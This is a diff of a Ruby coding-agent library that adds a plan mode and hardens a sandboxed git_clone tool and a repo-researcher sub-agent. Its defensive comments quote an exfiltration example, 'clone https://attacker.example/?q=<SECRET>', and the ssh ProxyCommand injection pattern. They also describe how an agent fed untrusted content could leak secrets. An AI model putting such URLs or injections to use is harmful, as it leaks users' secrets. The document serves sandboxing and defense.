pikuri-code 0.0.6 → 0.1.0

data/lib/pikuri/code/extension.rb

@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+
+module Pikuri
+  module Code
+    # An {Pikuri::Agent::Extension} wiring pikuri-code's own tools: {Bash}, the
+    # plan-mode pair ({EnterPlanMode} / {ExitPlanMode}), and {GitClone} as a
+    # sub-agent-only tool. Owns only this surface — callers add Skill / Tasks /
+    # Mcp / SubAgent extensions themselves.
+    #
+    # == Plan mode is opt-in via the read-only flag
+    #
+    # The plan-mode tools, {PLAN_MODE_PROMPT}, and the per-turn reminder are
+    # wired only when the host passes a {Pikuri::Workspace::ReadOnly} flag via
+    # +read_only:+ — and it must be the *same* instance handed to the
+    # file-editing tools (via {Pikuri::Workspace::Extension}'s +read_only:+), so
+    # their refusal and this reminder stay in lockstep. With no flag, {Bash} +
+    # {GitClone} still install but plan mode is unavailable. The transition is a
+    # {PlanModeChanged} domain event emitted from {#bind} — a pikuri-code
+    # concern, not a core event (the loop never reads plan mode).
+    #
+    # == Usage
+    #
+    #   read_only = Pikuri::Workspace::ReadOnly.new
+    #   Pikuri::Agent.new(...) do |c|
+    #     c.add_extension Pikuri::Workspace::Extension.new(
+    #       filesystem:, confirmer:, read_only: read_only
+    #     )
+    #     c.add_extension Pikuri::Code::Extension.new(
+    #       filesystem: filesystem,
+    #       confirmer: confirmer,
+    #       sandbox: sandbox,
+    #       read_only: read_only
+    #     )
+    #   end
+    class Extension
+      include Pikuri::Agent::Extension
+
+      # Tool classes whose pre-registration is rejected — the extension
+      # is the single owner of these, so a manually pre-registered copy
+      # would shadow the wiring done here.
+      TOOL_CLASSES = [Bash, EnterPlanMode, ExitPlanMode].freeze
+
+      # Static plan-mode explainer, appended *once* (and so prefix-cached) when
+      # plan mode is wired: mechanics + active-behavior contract, paid once. The
+      # per-turn {PLAN_MODE_REMINDER} is then a one-line re-assertion at the
+      # uncached tail. An extension-owned snippet that names its own tools (the
+      # persona/extension carve-out to "no tool names in a main prompt").
+      #
+      # @return [String]
+      PLAN_MODE_PROMPT = <<~PROMPT
+        <plan_mode>
+        You can work in plan mode — a read-only posture for researching and designing a change before writing any of it. Reach for enter_plan_mode before a non-trivial change (new features, multi-file edits, refactors, anything with several viable approaches); the user can also turn plan mode on directly. While it is active you will see a short reminder each turn.
+
+        While in plan mode:
+        - The file-editing tools are disabled and will refuse — do not try to create, overwrite, or edit files.
+        - Explore freely: read files, search the codebase, and run read-only shell commands.
+        - Work out a concrete plan — which files change, the change to each, and any trade-offs — and write it out.
+        - Call exit_plan_mode with that plan to present it for approval. Only start implementing once the user approves.
+        - If a requirement is genuinely ambiguous, ask the user directly rather than guessing.
+        </plan_mode>
+      PROMPT
+
+      # One-line per-turn re-assertion, injected as a reference block while
+      # plan mode is active (see {#on_user_message}). Deliberately tiny — it
+      # lands at the uncached tail, while the substantive prose lives cached in
+      # {PLAN_MODE_PROMPT}. Inlined rather than in +prompts/+ because it's one
+      # line.
+      #
+      # @return [String]
+      PLAN_MODE_REMINDER =
+        'Reminder: you are in plan mode (read-only) — research, design, ' \
+        'and brainstorm, but do not edit files.'
+
+      # Reason clause for a write/edit refusal *when plan mode is why the
+      # workspace is read-only*. Handed to {Pikuri::Workspace::ReadOnly} (via
+      # the host) so a refused Write/Edit names the recovery path
+      # (+exit_plan_mode+) instead of the generic
+      # {Pikuri::Workspace::ReadOnly::DEFAULT_MESSAGE}, which can't assume plan
+      # mode is the cause.
+      #
+      # @return [String]
+      PLAN_MODE_READONLY_MESSAGE =
+        'you are in plan mode (read-only). Add this change to your plan and ' \
+        'call exit_plan_mode to present it; you can apply it once the user approves.'
+
+      # @param filesystem [Pikuri::Workspace::Filesystem]
+      # @param confirmer [Pikuri::Workspace::Confirmer]
+      # @param sandbox [Pikuri::Code::Bash::Sandbox]
+      # @param read_only [Pikuri::Workspace::ReadOnly, nil] the shared read-only
+      #   flag (same instance handed to {Pikuri::Workspace::Extension}). When
+      #   present, plan-mode tools + prompt + reminder + event are wired; +nil+
+      #   leaves plan mode unavailable.
+      # @param passive_detector [#passive?, nil] passive-command pre-approval
+      #   predicate handed to {Bash} only ({Bash::PassiveCommandDetector}); the
+      #   +exit_plan_mode+ gate always uses the bare +confirmer+.
+      def initialize(filesystem:, confirmer:, sandbox: Bash::Sandbox::NONE, read_only: nil,
+                     passive_detector: nil)
+        @filesystem       = filesystem
+        @confirmer        = confirmer
+        @sandbox          = sandbox
+        @read_only        = read_only
+        @passive_detector = passive_detector
+      end
+
+      # @param c [Pikuri::Agent::Configurator]
+      # @return [void]
+      def configure(c)
+        TOOL_CLASSES.each do |cls|
+          if c.tools.any?(cls)
+            raise "#{cls} cannot be pre-registered when adding Pikuri::Code::Extension"
+          end
+        end
+
+        c.add_tool Bash.new(filesystem: @filesystem, confirmer: @confirmer, sandbox: @sandbox,
+                            passive_detector: @passive_detector)
+
+        # Plan mode rides the host-owned read-only flag; only wire its
+        # tools when one was supplied (see the class header). The prompt
+        # half is contributed by {#system_prompt_snippets}.
+        if @read_only
+          c.add_tool EnterPlanMode.new(read_only: @read_only)
+          c.add_tool ExitPlanMode.new(read_only: @read_only, confirmer: @confirmer)
+        end
+
+        # Sub-agent-only (never visible to the parent) — it exists solely for
+        # the GIT_REPO_RESEARCHER persona.
+        c.add_sub_agent_tool GitClone.new(filesystem: @filesystem)
+        nil
+      end
+
+      # @return [Array<String>] the plan-mode prompt, only when the
+      #   read-only flag is wired (so the prompt and the plan-mode tools
+      #   appear together); otherwise none.
+      def system_prompt_snippets = @read_only ? [PLAN_MODE_PROMPT] : []
+
+      # Bridge plan-mode transitions onto the listener stream so UI chrome can
+      # render the posture — both model-driven ({EnterPlanMode} / {ExitPlanMode})
+      # and host-driven flips. No-op when plan mode isn't wired.
+      #
+      # @param ctx [Pikuri::Agent::ExtensionContext]
+      # @return [void]
+      def bind(ctx)
+        return nil unless @read_only
+
+        @read_only.on_change { |active| ctx.emit_event(PlanModeChanged.new(active: active)) }
+        nil
+      end
+
+      # Inject {PLAN_MODE_REMINDER} on every turn plan mode is active — the
+      # soft half of the defense, re-asserting the posture
+      # even when the *host* engaged it and the model never saw a tool call.
+      # +nil+ (inject nothing) when plan mode is off or unwired.
+      #
+      # @param _ctx [Pikuri::Agent::ExtensionContext]
+      # @param _content [String]
+      # @return [String, nil]
+      def on_user_message(_ctx, _content)
+        return nil unless @read_only&.active?
+
+        PLAN_MODE_REMINDER
+      end
+    end
+  end
+end

data/lib/pikuri/code/git_clone.rb

@@ -5,69 +5,44 @@ require 'uri'
 
 module Pikuri
   module Code
-    # The +git_clone+ tool — shallow-clone a public git repository into
-    # the workspace. Instantiating +Code::GitClone.new(workspace: ws)+
-    # produces a tool whose {Pikuri::Tool#to_ruby_llm_tool} wiring is
-    # identical to any bundled tool's; +execute+ closes over the
-    # workspace and a lazily-minted {Bash::Sandbox::Bubblewrap}.
-    #
-    # == Why this exists
-    #
-    # The bundled +researcher+ persona can web_search / web_scrape /
-    # fetch, which is great for "look up one fact" but inefficient when
-    # the task is "dig through opencode's source for how it does X."
-    # The pattern *N pages of HTML scraping* is much worse than
-    # *one shallow clone + grep*. This tool plus
-    # {Pikuri::Code::GIT_REPO_RESEARCHER} (the persona that wires it
-    # together with workspace-scoped read/grep/glob) is the answer.
+    # The +git_clone+ tool — shallow-clone a public git repository into the
+    # workspace. +Code::GitClone.new(filesystem: fs)+ produces a tool whose
+    # +execute+ closes over the filesystem and a lazily-minted
+    # {Bash::Sandbox::Bubblewrap}. Its home is
+    # {Pikuri::Code::GIT_REPO_RESEARCHER}: *one shallow clone + grep* beats
+    # *N pages of HTML scraping* when the task is "dig through this repo's
+    # source for how it does X".
     #
     # == Threat model
     #
-    # Git clone is not "just reading files." Hostile upstream has a
-    # history of RCEs:
-    #
-    # * CVE-2024-32002 — submodule + symlink + case-insensitive FS
-    #   escape → RCE.
-    # * CVE-2022-39253 — +--local+ clone reading arbitrary host files
-    #   via symlinks.
-    # * CVE-2017-1000117 — +ssh://+ URL arg injection
-    #   (+ssh://-oProxyCommand=...+) → arbitrary command execution.
-    # * +.gitattributes+ filter drivers, +.git/config+ +core.fsmonitor+
-    #   /+core.sshCommand+ — code paths that run during clone /
-    #   checkout.
-    #
-    # Mitigations baked in here:
-    #
-    # 1. **HTTPS/HTTP only.** {VALID_SCHEMES} is +%w[https http]+;
-    #    +ssh://+, +git://+, +file://+, +ext::+, and anything else are
-    #    refused at the tool layer before +git+ sees the string.
-    # 2. **No submodule recursion.** +--no-recurse-submodules+ kills
-    #    the CVE-2024-32002 class.
-    # 3. **Shallow clone.** +--depth 1+ skips history (fewer ref
-    #    parsing edge cases, faster, smaller).
-    # 4. **Bubblewrap-sandboxed subprocess.** The +git+ binary runs
-    #    inside {Bash::Sandbox::Bubblewrap} bound to the persona's
-    #    fresh temp workspace — no host +~/.ssh+, no +~/.gitconfig+,
-    #    no other projects' source, no container sockets. A
-    #    clone-RCE blast radius is the persona's throwaway workspace.
-    #
-    # The Bubblewrap instance is minted lazily on first +execute+,
-    # not at construction — the boot-time GitClone wired by
-    # +bin/pikuri-code+ never runs (it lives in the sub-agent-only
-    # pool), and gets replaced by a fresh-workspace clone via
-    # {#with_workspace} the moment a +git_repo_researcher+ session
-    # starts. Eager construction would pay the ~+bwrap+ probe cost on
-    # every coding-agent boot for no reason.
+    # Git clone is not "just reading files" — hostile upstream has a history of
+    # RCEs (CVE-2024-32002 submodule+symlink escape; CVE-2022-39253 +--local+
+    # arbitrary-file read; CVE-2017-1000117 +ssh://-oProxyCommand=...+ arg
+    # injection; +.gitattributes+ filter drivers and +.git/config+
+    # +core.fsmonitor+/+core.sshCommand+ code paths that run during checkout).
+    # Mitigations baked in:
     #
-    # == Output
+    # 1. **HTTPS/HTTP only.** {VALID_SCHEMES}; +ssh://+/+git://+/+file://+/
+    #    +ext::+ are refused before +git+ sees the string.
+    # 2. **No submodule recursion.** +--no-recurse-submodules+ kills the
+    #    CVE-2024-32002 class.
+    # 3. **Shallow clone.** +--depth 1+ (fewer ref-parsing edge cases).
+    # 4. **Bubblewrap-sandboxed.** +git+ runs inside {Bash::Sandbox::Bubblewrap}
+    #    bound to the persona's fresh temp workspace — no host +~/.ssh+, no
+    #    +~/.gitconfig+, no other projects' source, no container sockets. A
+    #    clone-RCE's blast radius is the throwaway workspace.
     #
-    # On success: a one-line ack with the relative path inside the
-    # workspace. The persona then uses +read+ / +grep+ / +glob+ to
-    # explore the clone.
+    # The Bubblewrap instance is minted lazily on first +execute+, not at
+    # construction: the boot-time GitClone wired by +bin/pikuri-code+ lives in
+    # the sub-agent-only pool and never runs — it's replaced via
+    # {#with_workspace} when a +git_repo_researcher+ session starts, so eager
+    # construction would pay the +bwrap+ probe cost on every boot for nothing.
     #
-    # On failure: +"Error: ..."+ in the usual pikuri convention.
-    # Possible causes: refused URL scheme, malformed URI, network
-    # failure, target dir already exists, +git+ non-zero exit.
+    # Sharing: +P_one_agent+ — an instance is bound to one session's temp
+    # workspace, which is the whole point (a clone-RCE's blast radius is *that*
+    # throwaway tree). +with_workspace+ mints the per-session copy. The lazy
+    # sandbox memo is unguarded, so a shared instance could also pay the +bwrap+
+    # probe twice.
     class GitClone < Pikuri::Tool
       # URL schemes accepted. +https+ first (TLS) and +http+ as a
       # fallback for the rare public mirror. All other schemes are
@@ -88,21 +63,21 @@ module Pikuri
         - URL must be `https://` (preferred) or `http://`. Any other scheme (`ssh://`, `git://`, `file://`) is refused.
         - Always cloned with `--depth 1 --no-recurse-submodules`; you get the current tip, no history, no submodules.
         - Target directory name is derived from the URL's last segment (without `.git`). If that directory already exists, the call fails — pick a different URL or work with what you cloned.
-        - On success returns the relative path to the cloned repo; use `read`, `grep`, `glob` to navigate it.
+        - On success returns the relative path to the cloned repo; use `file_list`, `read`, `grep`, `glob` to navigate it.
         - Clones run inside a sandbox bound to your workspace — host files, SSH keys, and `~/.gitconfig` are NOT visible to the cloned repo's hooks/filters.
       DESC
 
-      # @param workspace [Pikuri::Workspace::Filesystem] captured for
+      # @param filesystem [Pikuri::Workspace::Filesystem] captured for
       #   the clone target root and the sandbox bind set.
       # @param sandbox [Bash::Sandbox, nil] optional sandbox override
       #   (defaults to a lazily-minted {Bash::Sandbox::Bubblewrap}
-      #   bound to +workspace+). Pass {Bash::Sandbox::NONE} in tests
+      #   bound to +filesystem+). Pass {Bash::Sandbox::NONE} in tests
       #   that don't have +bwrap+ on +PATH+; production wiring leaves
       #   it +nil+ so the Bubblewrap mint happens at the right moment
-      #   (after {#with_workspace} replaces the workspace).
+      #   (after {#with_workspace} replaces the filesystem).
       # @return [GitClone]
-      def initialize(workspace:, sandbox: nil)
-        @workspace = workspace
+      def initialize(filesystem:, sandbox: nil)
+        @filesystem = filesystem
         @sandbox = sandbox
         super(
           name: 'git_clone',
@@ -114,19 +89,27 @@ module Pikuri
                               '"https://github.com/anomalyco/opencode.git". ' \
                               'Other schemes are refused.'
           },
-          execute: ->(url:) { execute_clone(url: url) }
+          execute: ->(url:) { execute_clone(url: url) },
+          # A *readable* egress verb, same family as {Pikuri::Tool::FETCH} and
+          # not a softer one: the clone host is chosen by whoever wrote the URL,
+          # so `clone https://attacker.example/?q=<SECRET>` reaches a server the
+          # attacker reads. The cloned tree is then attacker-authored content.
+          trifecta_legs: Pikuri::Tool::TrifectaLegs::ASSUMED
         )
       end
 
-      # Produce a new {GitClone} bound to +workspace+. The sandbox is
-      # NOT carried over — the new instance lazily mints a fresh
-      # Bubblewrap from the new workspace, since a sandbox's bind set
-      # depends on the workspace it constrains. See class header.
+      # Produce a new {GitClone} bound to the session +workspace+'s bare
+      # {Pikuri::Workspace::Workspace#filesystem}. The +with_workspace+ protocol
+      # ({Pikuri::SubAgent::SubAgentTool}) hands rebuilt tools the composite,
+      # but GitClone's {Bash::Sandbox::Bubblewrap} needs the bare {Filesystem}'s
+      # +readable+/+writable+/+temp+, so it reads +workspace.filesystem+ here.
+      # The sandbox is NOT carried over — a fresh Bubblewrap is minted lazily
+      # from the new filesystem (its bind set depends on that filesystem).
       #
-      # @param workspace [Pikuri::Workspace::Filesystem]
+      # @param workspace [Pikuri::Workspace::Workspace]
       # @return [GitClone]
       def with_workspace(workspace)
-        self.class.new(workspace: workspace)
+        self.class.new(filesystem: workspace.filesystem)
       end
 
       private
@@ -134,7 +117,7 @@ module Pikuri
       # Mint the sandbox on first use, cache for subsequent calls.
       # See class header for why this isn't eager.
       def sandbox
-        @sandbox ||= Bash::Sandbox::Bubblewrap.new(workspace: @workspace)
+        @sandbox ||= Bash::Sandbox::Bubblewrap.new(filesystem: @filesystem)
       end
 
       def execute_clone(url:)
@@ -142,7 +125,7 @@ module Pikuri
         return uri if uri.is_a?(String) # error message
 
         target_name = derive_target_name(uri)
-        target_path = @workspace.project_root.join(target_name)
+        target_path = @filesystem.project_root.join(target_name)
         if target_path.exist?
           return "Error: target directory #{target_name.inspect} already exists in the workspace."
         end
@@ -152,7 +135,7 @@ module Pikuri
           'git', 'clone', '--depth', '1', '--no-recurse-submodules', '--quiet',
           '--', url, target_name
         ])
-        result = Pikuri::Subprocess.spawn(*argv, chdir: @workspace.project_root.to_s).wait
+        result = Pikuri::Subprocess.spawn(*argv, chdir: @filesystem.project_root.to_s).wait
 
         if result.status.success?
           "Cloned #{url} → #{target_name}/ (depth=1, no submodules)."
@@ -187,7 +170,7 @@ module Pikuri
       # for path-less URLs. The basename is intentionally taken from
       # the parsed URI so path-traversal segments (+..+) in the URL
       # collapse to harmless directory names — the clone still lands
-      # inside +workspace.project_root+ because the +chdir+ + the
+      # inside +filesystem.project_root+ because the +chdir+ + the
       # workspace containment check on subsequent reads enforce it.
       def derive_target_name(uri)
         name = File.basename(uri.path.to_s)

data/lib/pikuri/code/git_repo_researcher.rb

@@ -3,61 +3,31 @@
 module Pikuri
   module Code
     # Bundled "clone-and-dig" persona. Where {Pikuri::SubAgent::RESEARCHER}
-    # answers "look up one fact online", +GIT_REPO_RESEARCHER+ answers
-    # "explore that repo's source for how it does X."
-    #
-    # == Toolset
-    #
-    # * +git_clone+ — shallow, sandboxed clone of a public repo
-    #   ({Pikuri::Code::GitClone}).
-    # * +read+ / +grep+ / +glob+ — rebuilt onto the persona's fresh
-    #   workspace by {Pikuri::SubAgent::SubAgentTool}'s
-    #   +#with_workspace+ dispatch (see
-    #   {Pikuri::SubAgent::Persona}'s class header).
-    # * +web_search+ / +web_scrape+ / +fetch+ — same network reads
-    #   as {Pikuri::SubAgent::RESEARCHER}; useful for "what does the
-    #   README say about Y" without a clone.
-    #
-    # No +bash+, no +edit+, no +write+, no +agent+ (no recursion).
-    #
-    # == Per-invocation workspace
-    #
-    # The persona signals +needs_temp_workspace: true+ — that's all.
-    # {Pikuri::SubAgent::SubAgentTool} owns the lifecycle: mktmpdir +
-    # construct a {Pikuri::Workspace::Filesystem} with the temp dir
-    # as +project_root+ + {Pikuri::SubAgent::SubAgentTool::TEMP_WORKSPACE_READABLE}
-    # folded into +readable:+ (so the Bubblewrap-wrapped +git+
-    # subprocess can find its binary under +/usr+) +
-    # +FileUtils.remove_entry+ on the temp dir at sub-agent close.
-    # The persona has no say in shape or cleanup.
-    #
-    # The persona's filesystem view is *disjoint* from the parent's:
-    # a cloned repo cannot leave files where the parent's +read+
-    # tool would later find them (containment check rejects paths
-    # outside the parent's +project_root+), so string paths
-    # exfiltrated through the persona's reply are inert.
-    #
-    # == Security profile
-    #
-    # Trifecta-wise, the persona is the same shape as
-    # {Pikuri::SubAgent::RESEARCHER}: leg (a) "private data" is
-    # structurally near-zero (no project_root access, no home dir
-    # access — only the temp workspace + what it just downloaded);
-    # legs (b)/(c) are present (untrusted cloned content + network
-    # egress) but harmless without (a). The one wrinkle vs.
-    # RESEARCHER is the historical RCE class on +git clone+ itself
-    # — addressed by {GitClone}'s HTTPS-only + no-submodules + the
-    # Bubblewrap sandbox bound to the temp workspace. See
-    # {Pikuri::Code::GitClone} for the full mitigation list.
+    # answers "look up one fact online", +GIT_REPO_RESEARCHER+ answers "explore
+    # that repo's source for how it does X". Toolset is +git_clone+ +
+    # +file_list+/+read+/+grep+/+glob+ (rebuilt onto the fresh workspace by
+    # {Pikuri::SubAgent::SubAgentTool}) + the RESEARCHER network reads
+    # (+web_search+/+web_scrape+/+fetch+). No +bash+/+edit+/+write+/+agent+.
+    #
+    # It signals +needs_temp_workspace: true+ and nothing more;
+    # {Pikuri::SubAgent::SubAgentTool} owns the temp-dir lifecycle. That view is
+    # *disjoint* from the parent's, so a path a cloned repo exfiltrates through
+    # the persona's reply is inert (the parent's containment check rejects it).
+    #
+    # Trifecta-wise, same shape as {Pikuri::SubAgent::RESEARCHER}: leg (a)
+    # private data is near-zero (only the temp workspace + what it downloaded),
+    # so legs (b)/(c) — untrusted content + egress — are harmless. The one
+    # wrinkle is the historical RCE class on +git clone+ itself, addressed by
+    # {GitClone}'s HTTPS-only + no-submodules + Bubblewrap sandbox.
     #
     # @return [Pikuri::SubAgent::Persona]
     GIT_REPO_RESEARCHER = Pikuri::SubAgent::Persona.new(
       name: 'git_repo_researcher',
-      description: 'Clone a public git repo and explore it with read/grep/glob. ' \
+      description: 'Clone a public git repo and explore it with file_list/read/grep/glob. ' \
                    'Use when you need to dig through a repository\'s actual source, ' \
                    'not just a page about it. Also has web_search/web_scrape/fetch. ' \
                    'Returns one paragraph + citations.',
-      tool_names: %w[git_clone read grep glob web_search web_scrape fetch].freeze,
+      tool_names: %w[git_clone file_list read grep glob web_search web_scrape fetch].freeze,
       system_prompt: Pikuri.prompt('persona-git-repo-researcher'),
       max_steps: 30,
       needs_temp_workspace: true

data/lib/pikuri/code/plan_mode_changed.rb

@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Pikuri
+  module Code
+    # Domain event emitted onto the listener stream whenever plan mode
+    # transitions — model-driven ({EnterPlanMode} / {ExitPlanMode}) or
+    # host-driven. Wired by {Extension#bind} through the shared
+    # {Pikuri::Workspace::ReadOnly} flag's +on_change+. A pikuri-code *domain*
+    # event, not a core {Pikuri::Agent::Event} — the loop never reads plan
+    # mode; listeners that don't care no-op on it (the demo
+    # {Pikuri::Agent::Listener::Terminal} renders it generically via {#to_s}).
+    #
+    # Carries only the new posture, so a UI listener can render an indicator
+    # without touching the flag. A host flip fires on the host's thread, a model
+    # flip on the agent's — treat the boolean as the latest authoritative state.
+    PlanModeChanged = Data.define(:active) do
+      # @return [String] human-facing label; the Terminal demo prints it
+      #   verbatim, so the wording lives here, not in core.
+      def to_s
+        "plan mode: #{active ? 'on (read-only)' : 'off'}"
+      end
+    end
+  end
+end

data/lib/pikuri/code/toolchain_paths.rb

@@ -2,129 +2,73 @@
 
 module Pikuri
   module Code
-    # Curated lists of filesystem prefixes a coding agent benefits
-    # from seeing: system toolchains under +/usr+ and +/opt+, per-user
-    # toolchain managers (mise/asdf/rbenv/pyenv/nvm/rustup), and the
-    # per-user dependency caches the toolchains themselves mutate
-    # (Gradle, Maven, Cargo, npm, pip, …). Not a tool — a
-    # configuration helper that +bin/pikuri-code+ (and any downstream
-    # coding binary built on pikuri-code) feeds into
-    # +Pikuri::Workspace::Filesystem.new(readable: ...)+ alongside the
-    # skill catalog's roots, and into
-    # +Pikuri::Code::Bash::Sandbox::Bubblewrap.new(ephemeral_overlay: ...)+
-    # for the overlay layer.
+    # Curated list of filesystem prefixes a coding agent benefits from seeing:
+    # system toolchains under +/usr+/+/opt+, per-user toolchain managers
+    # (mise/asdf/rbenv/pyenv/nvm/rustup), and the per-user dependency caches the
+    # toolchains mutate (Gradle, Maven, Cargo, npm, pip, …). Not a tool — a
+    # config helper +bin/pikuri-code+ feeds into
+    # +Filesystem.new(readable: …)+ alongside the skill catalog's roots.
     #
-    # The list is the "allowlist a coding agent reads" surface derived
-    # from the threat-model discussion that drove this gem; see
-    # +pikuri-workspace/lib/pikuri/workspace/filesystem.rb+ for the
-    # containment story and CLAUDE.md's Scope decisions for the
-    # Linux-first stance.
-    #
-    # == .readable vs. .ephemeral_overlay
-    #
-    # The split exists because the bubblewrap sandbox treats these two
-    # groups differently:
-    #
-    # * {.readable} — true read-only: system toolchains (+/usr+,
-    #   +/opt+) and per-user toolchain managers (+~/.rbenv+, +~/.pyenv+,
-    #   +~/.nvm+, +~/.asdf+, +~/.rustup+, +~/.local/share/mise+, +~/.config/mise+).
-    #   The user installed these out-of-band; the LLM should be able
-    #   to grep them but neither write nor *appear* to write to them.
-    #   Bubblewrap +--ro-bind+'s each.
-    # * {.ephemeral_overlay} — per-user dependency caches the
-    #   toolchain itself mutates when invoked: subdirs of +~/.gradle+,
-    #   +~/.m2/repository+, +~/.cargo/registry+, +~/.ivy2/cache+,
-    #   +~/go/pkg/mod+, +~/.cache/pip+, +~/.cache/uv+, +~/.npm+, the
-    #   pnpm store, +~/.nuget/packages+. The toolchain *needs* to
-    #   write to these (Gradle's journal/locks, Maven downloading a
-    #   new dep, …), but persistent host pollution from a poisoned
-    #   pikuri-code session would propagate to the user's other
-    #   projects. The bubblewrap sandbox overlays each with a
-    #   per-session ephemeral upper layer under
-    #   +<workspace.internal_temp>/overlay-<slug>/+ — writes survive
-    #   across bash calls within one session, then vanish at process
-    #   exit. See {Pikuri::Code::Bash::Sandbox::Bubblewrap} for the
-    #   wiring.
-    #
-    # The host-side workspace continues to include both lists in its
-    # +readable+ set, so the LLM can Read/Grep/Glob them via the file
-    # tools (which operate on the host filesystem, not the sandbox view).
+    # Every entry is mounted by {Pikuri::Code::Bash::Sandbox::Bubblewrap} as a
+    # read-write *ephemeral overlay* (read-only bind without overlayfs): the
+    # host's real dir is the read-through lower, a per-session upper absorbs
+    # writes and is discarded at exit. Overlaid rather than read-only because
+    # build tools assume their dirs are writable — a read-only +~/.rbenv+ breaks
+    # +gem install+ with +EROFS+, since the install target lives *inside* the
+    # version-manager dir with no separate cache to overlay. The workspace also
+    # lists these in +readable+ so the LLM can Read/Grep/Glob them via the file
+    # tools (which run on the host fs); writes through bash land in the overlay
+    # and are not visible to those tools — an accepted asymmetry.
     #
     # == Why subdirs, not whole toolchain dirs
     #
-    # Every entry in {.ephemeral_overlay} is a content-only subdir
-    # chosen to *exclude* the toolchain's credential / persistence
-    # files. The exposed path holds cache content (downloaded jars,
-    # distributions, modules); the excluded paths hold secrets or
-    # build-config:
+    # The dependency caches are listed as *content-only subdirs* that *exclude*
+    # the toolchain's credential / persistence files. The overlay is ephemeral,
+    # but the host's real file is the read-through lower — so a narrower mount
+    # keeps secrets out of the sandbox's *view* entirely rather than relying on
+    # "the write vanished". Exposed paths hold cache content; excluded paths
+    # hold secrets or build-config:
     #
-    #   * +~/.gradle/caches+ + +~/.gradle/wrapper/dists+ + +~/.gradle/jdks+
-    #     — NOT +~/.gradle/gradle.properties+ (signing keys, OSSRH /
-    #     GitHub Packages / Develocity tokens), NOT +~/.gradle/init.d+
-    #     (persistence: any future +./gradlew+ outside pikuri would
-    #     execute init scripts a poisoned session could plant here),
-    #     NOT +~/.gradle/enterprise+ (Develocity access keys), NOT
-    #     +~/.gradle/daemon+ (logs that can leak +-P+ project
-    #     properties passed on the command line).
+    #   * +~/.gradle/caches+ + +wrapper/dists+ + +jdks+ — NOT
+    #     +gradle.properties+ (signing keys / OSSRH / Develocity tokens), NOT
+    #     +init.d+ (persistence: a future +./gradlew+ outside pikuri would
+    #     execute init scripts a poisoned session planted here), NOT
+    #     +enterprise+ (Develocity keys), NOT +daemon+ (logs leaking +-P+
+    #     properties).
     #   * +~/.m2/repository+ — NOT +~/.m2/settings.xml+ (server creds).
-    #   * +~/.cargo/registry+ — NOT +~/.cargo/credentials.toml+
-    #     (crates.io publish tokens).
+    #   * +~/.cargo/registry+ — NOT +~/.cargo/credentials.toml+ (publish tokens).
     #   * +~/.ivy2/cache+ — NOT +~/.ivy2/.credentials+ (resolver creds).
     #
-    # +bwrap+ creates the parent dir (e.g. +~/.gradle/+) as an empty
-    # tmpfs directory inside the sandbox automatically, so the
-    # toolchain can mkdir new subdirs there (e.g. +~/.gradle/daemon/+)
-    # without seeing anything we didn't bind. The cost is mild: dirs
-    # outside the overlay list (+~/.gradle/daemon/+, native cache,
-    # configuration cache) start empty each bash call instead of
-    # persisting within a session. That's acceptable for daemon-style
-    # caches — the warm-cache value lives in +caches/+ and +wrapper/+,
-    # which the overlays cover.
+    # The version-manager roots (+~/.rbenv+, +~/.pyenv+, …) are listed *whole*
+    # because they carry no credential files and their install targets live
+    # directly under them. mise installs under +~/.local/share/mise/installs+
+    # (so overlaying +~/.local/share/mise+ covers it); system Ruby under +/usr+.
     module ToolchainPaths
-      # @return [Array<String>] absolute paths, in stable order, each
-      #   one confirmed to be an existing directory at the moment of
-      #   the call. Presence-filtered: a developer who doesn't have
-      #   Rust installed doesn't get a phantom +~/.rustup+ in their
-      #   workspace.
+      # @return [Array<String>] absolute paths, stable order, presence-filtered
+      #   to existing directories (no Rust installed ⇒ no phantom +~/.rustup+; a
+      #   missing +~/.gradle/caches+ stays out). See the module header for the
+      #   overlay treatment and the content-only-subdir rationale.
       def self.readable
         home = Dir.home
         candidates = [
+          # System + per-user toolchains, listed whole (see module header).
           '/usr',
           '/opt',
           File.join(home, '.local/share/mise'),
           File.join(home, '.config/mise'),
           File.join(home, '.asdf'),
           File.join(home, '.rbenv'),
+          File.join(home, '.gem'),
           File.join(home, '.pyenv'),
           File.join(home, '.nvm'),
-          File.join(home, '.rustup')
-        ]
-        candidates.select { |p| File.directory?(p) }.freeze
-      end
-
-      # @return [Array<String>] absolute paths to per-user dependency
-      #   caches the toolchain mutates. Presence-filtered, same
-      #   discipline as {.readable}: a missing +~/.gradle/caches+
-      #   stays out of the list, on the assumption the user doesn't
-      #   use Gradle yet (and Gradle's eventual bootstrap inside the
-      #   sandbox without a host lower would fail noisily, which is
-      #   what we want — see the rationale in
-      #   {Pikuri::Code::Bash::Sandbox::Bubblewrap}). See the module
-      #   header for why each entry is a content-only subdir rather
-      #   than the whole toolchain dir.
-      def self.ephemeral_overlay
-        home = Dir.home
-        candidates = [
+          File.join(home, '.rustup'),
+          # Content-only cache subdirs — credential / persistence files
+          # deliberately excluded (see module header).
           File.join(home, '.cargo/registry'),
           File.join(home, '.m2/repository'),
-          # Gradle: caches/ (jar + journal + transforms + build-cache),
-          # wrapper/dists/ (downloaded distributions), jdks/ (toolchain
-          # auto-installs). gradle.properties / init.d / enterprise /
-          # daemon are deliberately NOT exposed.
           File.join(home, '.gradle/caches'),
           File.join(home, '.gradle/wrapper/dists'),
           File.join(home, '.gradle/jdks'),
-          # Ivy: cache only. ~/.ivy2/.credentials is deliberately NOT exposed.
           File.join(home, '.ivy2/cache'),
           File.join(home, 'go/pkg/mod'),
           File.join(home, '.cache/pip'),